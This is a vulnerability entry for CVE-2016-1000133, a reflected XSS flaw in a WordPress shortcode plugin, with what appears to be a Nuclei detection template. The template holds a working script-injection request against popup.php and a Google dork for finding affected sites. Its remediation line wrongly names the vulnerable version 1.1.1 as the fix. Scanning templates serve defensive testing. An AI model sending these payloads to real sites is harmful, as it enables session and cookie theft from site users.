4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
50.1%
Wordpress plugin forget-about-shortcode-buttons 1.1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2016-1000133
info:
name: WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting
author: daffainfo
severity: medium
description: Wordpress plugin forget-about-shortcode-buttons 1.1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Update to the latest version of the WordPress forget-about-shortcode-buttons plugin (1.1.1) or apply the necessary patches.
reference:
- https://wordpress.org/plugins/forget-about-shortcode-buttons
- http://www.vapidlabs.com/wp/wp_advisory.php?v=602
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000133
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-1000133
cwe-id: CWE-79
epss-score: 0.00142
epss-percentile: 0.4984
cpe: cpe:2.3:a:designsandcode:forget_about_shortcode_buttons:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: designsandcode
product: "forget_about_shortcode_buttons"
framework: wordpress
google-query: "inurl:\"/wp-content/plugins/forget-about-shortcode-buttons\""
tags: cve2016,cve,wordpress,xss,wp-plugin,designsandcode
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/forget-about-shortcode-buttons/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Forget About Shortcode Buttons ='
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100c66267cfb02cf13372138edccdaa9f2899e13afb907ed2618c0512787dc51ad502200ccf9e5b54dba36c133d15f796041e47992e95f6a5d10dc33abe2577fb7b88da:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
50.1%